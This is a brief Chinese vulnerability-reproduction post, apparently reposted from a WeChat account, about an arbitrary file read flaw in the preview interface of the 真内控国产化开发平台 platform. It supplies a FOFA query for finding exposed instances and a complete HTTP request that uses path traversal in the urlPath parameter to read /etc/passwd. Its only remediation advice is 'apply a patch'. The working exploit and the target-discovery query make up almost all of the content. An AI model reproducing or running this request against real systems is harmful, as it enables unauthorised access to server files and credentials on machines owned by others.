真内控国产化开发平台preview接口存在任意文件读取漏洞

 

1. 真内控国产化开发平台简介

微信公众号搜索：南风漏洞复现文库 该文章 南风漏洞复现文库 公众号首发

真内控国产化开发平台

2.漏洞描述

真内控国产化开发平台preview接口存在任意文件读取漏洞

CVE编号:

CNNVD编号:

CNVD编号:

3.影响版本

真内控国产化开发平台

4.fofa查询语句

body="js/npm.echarts.js"

5.漏洞复现

漏洞链接：http://xxx.xx.xx.xx/print/billPdf/preview?urlPath=../../../../../../../../../../../../../../etc/passwd

漏洞数据包：

GET /print/billPdf/preview?urlPath=../../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: */*
Connection: Keep-Alive

7.整改意见

打补丁

原文始发于微信公众号（南风漏洞复现文库）：真内控国产化开发平台preview接口存在任意文件读取漏洞